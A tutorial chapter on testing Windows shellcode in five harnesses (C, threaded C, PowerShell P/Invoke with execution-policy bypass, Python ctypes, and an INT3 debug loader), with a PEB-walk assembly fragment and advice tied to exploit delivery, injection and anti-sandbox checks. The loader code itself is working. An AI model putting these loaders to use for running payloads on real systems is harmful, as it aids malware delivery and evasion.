Shellcode Testing Harnesses
Debugging shellcode inside an exploit or injection chain is nearly impossible — too many variables, too many moving parts. The professional approach is to test each piece of shellcode in a controlled harness first, confirm correct behavior in isolation, then integrate. This chapter builds five harness types from scratch: a C direct-call harness, a C thread harness, a PowerShell P/Invoke harness, a Python ctypes harness, and a debug harness with INT3 breakpoints for attaching x64dbg. Each has different strengths and is appropriate for different shellcode types.
Why You Test Shellcode in a Harness First
Consider what you're debugging when your shellcode fails inside an exploit:
Testing in a real exploit: ───────────────────────────────────────────────────────────────── Crash could be caused by: • The exploit itself (bad offset, wrong gadget) • The NOP sled / landing zone • The decoder stub (null byte survived, key wrong) • The PEB walk (wrong offset on this OS version) • The API hash resolution (collision, wrong algorithm) • The actual shellcode payload logic • Stack misalignment from the exploit's setup • Registers contaminated by the target process's state Variables: 6+ → debugging time: hours to days Testing in an isolated harness: ───────────────────────────────────────────────────────────────── Crash could be caused by: • The shellcode itself Variables: 1 → debugging time: minutes Harness gives you: ✓ Clean register state (you control it) ✓ Known stack alignment (you set it) ✓ Control over the execution environment ✓ Easy debugger attachment without re-exploiting ✓ Repeatable crashes (hit F5 again, same result)
The rule: never test shellcode in the real delivery mechanism until it has passed every harness test. The harnesses are also useful for final verification: if the shellcode works in all five harnesses, it will work in the delivery chain.
Harness 1 — C Direct-Call Harness
The simplest harness: load the shellcode from a file, allocate RWX memory, copy the shellcode into it, and call it as a function pointer. This gives you the cleanest possible execution context:
// harness_direct.c — execute shellcode from file, direct function call
// Build: x86_64-w64-mingw32-gcc -o harness_direct.exe harness_direct.c
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
// Shellcode is treated as a void function with no arguments
typedef void (*shellcode_fn)(void);
int main(int argc, char* argv[]) {
if (argc < 2) {
fprintf(stderr, "Usage: %s shellcode.bin\n", argv[0]);
return 1;
}
// ── Read shellcode from file ────────────────────────────────────────
HANDLE hFile = CreateFileA(argv[1], GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
fprintf(stderr, "Error opening file: %lu\n", GetLastError());
return 1;
}
DWORD fileSize = GetFileSize(hFile, NULL);
if (fileSize == 0 || fileSize == INVALID_FILE_SIZE) {
fprintf(stderr, "Invalid file size\n");
CloseHandle(hFile);
return 1;
}
// ── Allocate RWX memory ─────────────────────────────────────────────
// RWX: writable so we can copy into it, executable so we can call it
LPVOID scBuf = VirtualAlloc(NULL, fileSize, MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (!scBuf) {
fprintf(stderr, "VirtualAlloc failed: %lu\n", GetLastError());
CloseHandle(hFile);
return 1;
}
// ── Read shellcode into the allocation ──────────────────────────────
DWORD bytesRead = 0;
if (!ReadFile(hFile, scBuf, fileSize, &bytesRead, NULL) || bytesRead != fileSize) {
fprintf(stderr, "ReadFile failed or incomplete: %lu\n", GetLastError());
VirtualFree(scBuf, 0, MEM_RELEASE);
CloseHandle(hFile);
return 1;
}
CloseHandle(hFile);
printf("[+] Shellcode loaded: %lu bytes at %p\n", fileSize, scBuf);
printf("[+] Calling shellcode...\n");
fflush(stdout);
// ── Execute shellcode ───────────────────────────────────────────────
// The shellcode runs in the SAME thread as this process.
// Any crash kills the harness — that's fine for debugging purposes.
// For crash isolation, use the Thread harness (Harness 2).
shellcode_fn sc = (shellcode_fn)scBuf;
sc(); // shellcode executes here
// ── If shellcode returns control ────────────────────────────────────
printf("[+] Shellcode returned\n");
VirtualFree(scBuf, 0, MEM_RELEASE);
return 0;
}
When to use: testing shellcode that returns (or that you don't mind killing the harness process on crash). Best for rapid iteration because the crash location is in the same process and debugger backtrace works perfectly.
Harness 2 — C Thread Harness With Crash Isolation
Run shellcode in a separate thread. The harness main thread waits for it to complete. Crashes in the shellcode thread still kill the process, but adding a Structured Exception Handler around the thread entry gives you crash logging before the process dies:
// harness_thread.c — shellcode runs in a separate thread with SEH crash handler
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
typedef struct {
LPVOID buffer;
DWORD size;
} ThreadParam;
DWORD WINAPI ShellcodeThread(LPVOID param) {
ThreadParam* p = (ThreadParam*)param;
printf("[thread] Shellcode thread started at %p\n", p->buffer);
fflush(stdout);
// SEH: catch any structured exception (access violation, etc.)
__try {
typedef void (*fn)(void);
fn sc = (fn)p->buffer;
sc();
printf("[thread] Shellcode returned normally\n");
}
__except(EXCEPTION_EXECUTE_HANDLER) {
DWORD code = GetExceptionCode();
printf("[thread] Exception 0x%08lX during shellcode execution\n", code);
printf("[thread] Crash in shellcode at or near PC — attach debugger for details\n");
fflush(stdout);
return (DWORD)code;
}
return 0;
}
int main(int argc, char* argv[]) {
if (argc < 2) {
fprintf(stderr, "Usage: %s shellcode.bin [timeout_ms]\n", argv[0]);
return 1;
}
DWORD timeout = (argc >= 3) ? atoi(argv[2]) : 30000; // default 30s timeout
// Read shellcode
HANDLE hFile = CreateFileA(argv[1], GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, 0, NULL);
DWORD fileSize = GetFileSize(hFile, NULL);
LPVOID scBuf = VirtualAlloc(NULL, fileSize, MEM_COMMIT|MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
DWORD bytesRead;
ReadFile(hFile, scBuf, fileSize, &bytesRead, NULL);
CloseHandle(hFile);
printf("[main] Loaded %lu bytes at %p\n", fileSize, scBuf);
ThreadParam param = { scBuf, fileSize };
HANDLE hThread = CreateThread(NULL, 0, ShellcodeThread, ¶m, 0, NULL);
if (!hThread) {
fprintf(stderr, "CreateThread failed: %lu\n", GetLastError());
return 1;
}
DWORD waitResult = WaitForSingleObject(hThread, timeout);
if (waitResult == WAIT_TIMEOUT) {
printf("[main] Timeout after %lu ms — shellcode may be running or hung\n", timeout);
// Don't TerminateThread — it leaves handles leaked and state corrupt
// Just report and exit; use the debug harness for inspection
} else {
DWORD exitCode;
GetExitCodeThread(hThread, &exitCode);
printf("[main] Thread exited with code: 0x%08lX\n", exitCode);
}
CloseHandle(hThread);
VirtualFree(scBuf, 0, MEM_RELEASE);
return 0;
}
Harness 3 — PowerShell P/Invoke Harness
Useful when you want to test how shellcode behaves when delivered through a PowerShell cradle. The PowerShell harness also lets you test shellcode encoding/decoding in the same environment where a real delivery would happen:
# harness.ps1 — PowerShell shellcode execution harness
# Usage: powershell.exe -ExecutionPolicy Bypass -File harness.ps1 -ShellcodePath shellcode.bin
param([string]$ShellcodePath, [int]$TimeoutMs = 30000)
if (-not $ShellcodePath) { throw "Usage: harness.ps1 -ShellcodePath " }
if (-not (Test-Path $ShellcodePath)) { throw "File not found: $ShellcodePath" }
# ── P/Invoke declarations ────────────────────────────────────────────────────
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class NativeMemory {
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAlloc(
IntPtr lpAddress, uint dwSize,
uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool VirtualFree(
IntPtr lpAddress, uint dwSize, uint dwFreeType);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(
IntPtr lpThreadAttributes, uint dwStackSize,
IntPtr lpStartAddress, IntPtr lpParameter,
uint dwCreationFlags, out uint lpThreadId);
[DllImport("kernel32.dll")]
public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
[DllImport("kernel32.dll")]
public static extern bool CloseHandle(IntPtr hObject);
// Constants
public const uint MEM_COMMIT = 0x1000;
public const uint MEM_RESERVE = 0x2000;
public const uint PAGE_RWX = 0x40; // PAGE_EXECUTE_READWRITE
public const uint MEM_RELEASE = 0x8000;
public const uint INFINITE = 0xFFFFFFFF;
}
"@
# ── Load shellcode ────────────────────────────────────────────────────────────
$bytes = [System.IO.File]::ReadAllBytes($ShellcodePath)
Write-Host "[+] Loaded $($bytes.Length) bytes from $ShellcodePath"
# ── Allocate RWX memory ───────────────────────────────────────────────────────
$addr = [NativeMemory]::VirtualAlloc(
[IntPtr]::Zero, $bytes.Length,
[NativeMemory]::MEM_COMMIT -bor [NativeMemory]::MEM_RESERVE,
[NativeMemory]::PAGE_RWX)
if ($addr -eq [IntPtr]::Zero) {
throw "VirtualAlloc failed. Error: $([System.Runtime.InteropServices.Marshal]::GetLastWin32Error())"
}
Write-Host "[+] Allocated RWX memory at 0x$($addr.ToString('X16'))"
# ── Copy shellcode into allocation ────────────────────────────────────────────
[System.Runtime.InteropServices.Marshal]::Copy($bytes, 0, $addr, $bytes.Length)
Write-Host "[+] Shellcode copied. Creating thread..."
# ── Execute via thread ────────────────────────────────────────────────────────
[uint32]$threadId = 0
$hThread = [NativeMemory]::CreateThread(
[IntPtr]::Zero, 0, $addr, [IntPtr]::Zero, 0, [ref]$threadId)
if ($hThread -eq [IntPtr]::Zero) {
throw "CreateThread failed. Error: $([System.Runtime.InteropServices.Marshal]::GetLastWin32Error())"
}
Write-Host "[+] Thread created: ID=$threadId"
# ── Wait for completion ────────────────────────────────────────────────────────
$result = [NativeMemory]::WaitForSingleObject($hThread, $TimeoutMs)
if ($result -eq 0x00000102) { # WAIT_TIMEOUT
Write-Host "[-] Timeout after $TimeoutMs ms — shellcode may be running"
} elseif ($result -eq 0x00000000) { # WAIT_OBJECT_0
Write-Host "[+] Thread completed successfully"
} else {
Write-Host "[-] WaitForSingleObject returned: 0x$($result.ToString('X8'))"
}
[NativeMemory]::CloseHandle($hThread) | Out-Null
[NativeMemory]::VirtualFree($addr, 0, [NativeMemory]::MEM_RELEASE) | Out-Null
Write-Host "[+] Done"
Harness 4 — Python ctypes Harness
The Python harness runs on any Windows machine with Python installed and requires no compilation. It's particularly useful for rapid testing on a fresh target machine or inside a sandbox where you can't compile C code:
#!/usr/bin/env python3
"""
harness_ctypes.py — execute shellcode via Python ctypes
Usage: python3 harness_ctypes.py shellcode.bin [timeout_seconds]
Requires: Windows, Python 3.8+, no admin needed (user can VirtualAlloc)
"""
import ctypes, ctypes.wintypes, sys, os, threading, time
# Windows API types and functions
k32 = ctypes.windll.kernel32
# VirtualAlloc signature
k32.VirtualAlloc.restype = ctypes.c_void_p
k32.VirtualAlloc.argtypes = [
ctypes.c_void_p, # lpAddress
ctypes.c_size_t, # dwSize
ctypes.wintypes.DWORD, # flAllocationType
ctypes.wintypes.DWORD, # flProtect
]
# CreateThread signature
k32.CreateThread.restype = ctypes.wintypes.HANDLE
k32.CreateThread.argtypes = [
ctypes.c_void_p, # lpThreadAttributes
ctypes.c_size_t, # dwStackSize
ctypes.c_void_p, # lpStartAddress
ctypes.c_void_p, # lpParameter
ctypes.wintypes.DWORD, # dwCreationFlags
ctypes.POINTER(ctypes.wintypes.DWORD), # lpThreadId
]
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_RWX = 0x40 # PAGE_EXECUTE_READWRITE
MEM_RELEASE = 0x8000
def run_shellcode(path: str, timeout: float = 30.0) -> bool:
# Read shellcode
with open(path, 'rb') as f:
sc_bytes = f.read()
sc_len = len(sc_bytes)
print(f"[+] Loaded {sc_len} bytes from {path}")
# Allocate RWX memory
sc_addr = k32.VirtualAlloc(None, sc_len,
MEM_COMMIT | MEM_RESERVE, PAGE_RWX)
if not sc_addr:
print(f"[-] VirtualAlloc failed: {ctypes.GetLastError()}")
return False
print(f"[+] RWX allocation at 0x{sc_addr:016X}")
# Copy shellcode into allocation
ctypes.memmove(sc_addr, sc_bytes, sc_len)
print(f"[+] Shellcode copied. Creating thread...")
# Create thread
thread_id = ctypes.wintypes.DWORD(0)
h_thread = k32.CreateThread(None, 0, sc_addr, None, 0,
ctypes.byref(thread_id))
if not h_thread:
print(f"[-] CreateThread failed: {ctypes.GetLastError()}")
return False
print(f"[+] Thread created: ID={thread_id.value}")
# Wait for completion
result = k32.WaitForSingleObject(h_thread, int(timeout * 1000))
if result == 0x00000102: # WAIT_TIMEOUT
print(f"[-] Timeout after {timeout:.0f}s — shellcode still running or hung")
elif result == 0:
print(f"[+] Thread completed")
else:
print(f"[-] WaitForSingleObject: 0x{result:08X}")
k32.CloseHandle(h_thread)
k32.VirtualFree(sc_addr, 0, MEM_RELEASE)
print("[+] Done")
return True
if __name__ == '__main__':
if len(sys.argv) < 2:
print(f"Usage: python3 {sys.argv[0]} shellcode.bin [timeout_s]")
sys.exit(1)
timeout = float(sys.argv[2]) if len(sys.argv) > 2 else 30.0
success = run_shellcode(sys.argv[1], timeout)
sys.exit(0 if success else 1)
Harness 5 — Debug Harness With INT3 Breakpoints
When your shellcode crashes and you can't figure out why from the crash address alone, you need a debugger attached while it's running. The challenge: you can't easily attach a debugger to a process in the middle of executing shellcode. The solution is to embed INT3 (opcode 0xCC) breakpoints at strategic points in your shellcode, then attach x64dbg before the shellcode runs:
// harness_debug.c — harness that pauses before executing shellcode to allow debugger attachment
// Build: x86_64-w64-mingw32-gcc -o harness_debug.exe harness_debug.c -lkernel32
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
typedef void (*shellcode_fn)(void);
int main(int argc, char* argv[]) {
if (argc < 2) {
fprintf(stderr, "Usage: %s shellcode.bin\n", argv[0]);
return 1;
}
// Read shellcode
HANDLE hFile = CreateFileA(argv[1], GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, 0, NULL);
DWORD fileSize = GetFileSize(hFile, NULL);
LPVOID scBuf = VirtualAlloc(NULL, fileSize, MEM_COMMIT|MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
DWORD br = 0;
ReadFile(hFile, scBuf, fileSize, &br, NULL);
CloseHandle(hFile);
// Print process ID and allocation address for debugger attachment
printf("[DEBUG] Process ID: %lu\n", GetCurrentProcessId());
printf("[DEBUG] Shellcode at: %p\n", scBuf);
printf("[DEBUG] Shellcode size: %lu bytes\n", fileSize);
printf("[DEBUG] First 16 bytes: ");
for (DWORD i = 0; i < 16 && i < fileSize; i++)
printf("%02X ", ((BYTE*)scBuf)[i]);
printf("\n");
printf("[DEBUG] Attach debugger now, then press ENTER to execute...\n");
fflush(stdout);
// Wait for user to attach debugger
// In x64dbg: File → Attach → select this process by PID
getchar();
// Optional: programmatically invoke the debugger
// DebugBreak(); // generates INT3 — pauses execution if debugger is attached
printf("[DEBUG] Executing shellcode...\n");
fflush(stdout);
shellcode_fn sc = (shellcode_fn)scBuf;
sc();
printf("[DEBUG] Shellcode returned\n");
VirtualFree(scBuf, 0, MEM_RELEASE);
return 0;
}
The complementary technique: embed INT3 bytes at known points in your shellcode source, so execution pauses at those exact instructions when a debugger is attached:
; shellcode_with_debug_breaks.asm
; The 0xCC bytes are INT3 instructions. When a debugger is attached, execution
; will pause at each one, giving you full register inspection at that point.
; REMOVE ALL INT3 BYTES before final production build!
BITS 64
section .text
global shellcode_start
shellcode_start:
; Break 1: verify we're executing at all
db 0xCC ; INT3 — debugger pauses here at shellcode entry
; PEB walk begins here
mov rbx, qword [gs:0x60] ; PEB
mov rbx, qword [rbx+0x18] ; Ldr
; Break 2: verify PEB pointer was correct
db 0xCC ; INT3 — examine RBX: should point into ntdll data section
mov rsi, qword [rbx+0x20] ; first module entry
; ... PEB walking loop ...
; Break 3: after PEB walk, verify we found kernel32
db 0xCC ; INT3 — examine RBX: should hold kernel32 DllBase
; Verify: in Memory Map, this address should be in kernel32 region
; API hash resolution begins
; ...
; Break 4: before first API call, verify function pointer
db 0xCC ; INT3 — examine R12: should be a valid kernel32 function address
; Verify: in CPU view, go to address in R12 — should be API code
; Remove ALL db 0xCC lines before shipping!
Step 1: Build shellcode with INT3 bytes ───────────────────────────────────────────────────────────────── nasm -f bin shellcode_debug.asm -o shellcode_debug.bin objdump -d shellcode_debug.bin # verify 0xCC bytes appear Step 2: Run debug harness ───────────────────────────────────────────────────────────────── .\harness_debug.exe shellcode_debug.bin Note the PID and address printed. Step 3: Attach x64dbg ───────────────────────────────────────────────────────────────── x64dbg → File → Attach → select process by PID Press Enter in the harness window to continue execution. x64dbg will pause at the first INT3 and show you the state. Step 4: At each breakpoint, verify state ───────────────────────────────────────────────────────────────── Registers pane: check RBX, RSI, R12, RAX etc. against expected values Memory pane: navigate to register values to see what they point to Stack pane: verify RSP alignment and shadow space layout Memory map: confirm addresses fall in expected DLL regions Step 5: Remove INT3 bytes and rebuild for production ───────────────────────────────────────────────────────────────── Remove all "db 0xCC" lines from NASM source. nasm -f bin shellcode.asm -o shellcode.bin Verify no 0xCC bytes in final build (not just missing from expected locations — 0xCC can also appear as an operand in some instructions).
Choosing the Right Harness
Scenario │ Recommended harness
──────────────────────────────────────────────────┼─────────────────────────
Quick smoke test — does it run at all? │ Harness 1 (C direct)
Testing shellcode that might hang or crash │ Harness 2 (C thread)
No build tools available, test on target machine │ Harness 4 (Python)
Testing PowerShell delivery specifically │ Harness 3 (PS P/Invoke)
Shellcode crashes at an unknown point │ Harness 5 (debug + INT3)
Final verification before integration │ Run ALL harnesses
Testing shellcode encoding/decoding │ Harness 4 (easy to modify)
Testing injection from a legitimate process │ Modify Harness 2 to use
│ PPID spoofing for parent
Simulating APC injection environment │ Custom harness with
│ QueueUserAPC entry stateCommon Harness Failure Scenarios and Fixes
Symptom │ Cause │ Fix
───────────────────────────────┼────────────────────────────┼──────────────────────────────
VirtualAlloc returns NULL │ Low memory? Harness bug? │ Check GetLastError() — usually
│ │ 8 (ERROR_NOT_ENOUGH_MEMORY) or
│ │ 87 (ERROR_INVALID_PARAMETER)
Crash at very first byte │ Bad allocation (shouldn't │ Verify shellcode bytes were
│ happen) OR null shellcode │ actually copied (print first 4)
Crash at 0x??CC (INT3 opcode) │ Leftover debug INT3 bytes │ Remove all db 0xCC from source
Crash deep in KernelBase │ Stack misalignment (MOVAPS)│ Check RSP before each CALL
│ OR shadow space missing │ in x64dbg (must be 0 mod 16)
Thread completes but no effect │ Shellcode returned early │ Add INT3 at start; step through
Timeout (thread never returns) │ Shellcode hung in a loop │ Attach debugger and break;
│ OR waiting on C2/network │ look at the IP register in
│ OR infinite sleep │ the thread's register state
Access violation at PEB offset │ Wrong offset for OS version│ Verify PEB offsets with
│ (WoW64? 32-bit process?) │ x64dbg on EXACT target OSQuestions & Answers
Should I test shellcode on the same Windows version as my target?
Yes, for final validation. PEB offsets are consistent across Windows 10 and 11, but Windows 7 and 8 have different offsets for several fields. The OS version check from the PEB ([PEB+0xF8] = OSMajorVersion) can help your shellcode adapt at runtime, but the harness environment should match your target for final testing. The more critical factor is the processor architecture: shellcode written for x64 won't run in a 32-bit (WoW64) process. Your harness should match the bitness of your intended target. Use a 64-bit harness for 64-bit target processes.
Why does the Python harness use CreateThread instead of calling the shellcode directly?
For the same reason the C thread harness does: isolation. If the shellcode crashes, you want the harness to remain alive (or at least produce a clean exit) rather than dying silently. Python's ctypes can call a function pointer directly — ctypes.CFUNCTYPE(None)(sc_addr)() — but this runs the shellcode in Python's main thread. Any exception or crash kills the Python interpreter immediately with no diagnostic output. Using CreateThread gives the harness's main thread a chance to observe the thread's completion status and report it. For shellcode that's known to work, direct call is fine and simpler; for shellcode under development, the thread approach is safer.
Do INT3 breakpoints in shellcode affect the final binary size?
Yes — each db 0xCC is exactly one byte. Four debug INT3s add four bytes. This is negligible for testing but must be removed before final production. The more important concern is a different one: if you forget to remove a single INT3 from the final build and that shellcode is deployed, the shellcode will execute normally on any machine without a debugger attached — INT3 in a process without a debugger attached triggers a STATUS_BREAKPOINT exception (0x80000003), which by default gets handled by the Windows Error Reporting subsystem and creates a crash dump. The process dies. Even in a non-debugged context, leftover INT3s will silently kill your shellcode execution.
What if the shellcode needs a specific environment to test (domain-joined, certain software)?
This is the case for shellcode that performs environment checks before executing — a common anti-sandbox technique. For these, the harness approach is to mock the environment check. You can either: (1) build a special "testing" version of the shellcode with the environment check disabled (controlled by a compile-time constant), verify that works, then re-enable and test in a VM that actually meets the conditions; (2) patch the environment check in the running harness using WriteProcessMemory to replace the check with NOPs before executing; (3) test on a second VM that's genuinely domain-joined. Approach (1) is cleanest for development; approach (3) is necessary for final verification.
Can I use Wine on Linux to run the C harness?
Yes, with limitations. Wine implements most of the Windows API functions used in the harnesses (VirtualAlloc, CreateThread, WaitForSingleObject). Simple shellcode that only uses kernel32 APIs (VirtualAlloc, CreateThread, ExitProcess) will typically run correctly under Wine. Shellcode that uses APIs from advapi32, ws2_32, or NTDLL syscalls directly may not work — Wine's implementation of advanced Windows internals is incomplete. For PEB walk testing specifically, Wine does implement the TEB/PEB structure at the correct addresses (GS:[0x60] works in Wine on Linux), so basic PEB-walking shellcode is testable. For anything beyond basic kernel32 usage, test on actual Windows — either in a VM or using a Windows host machine.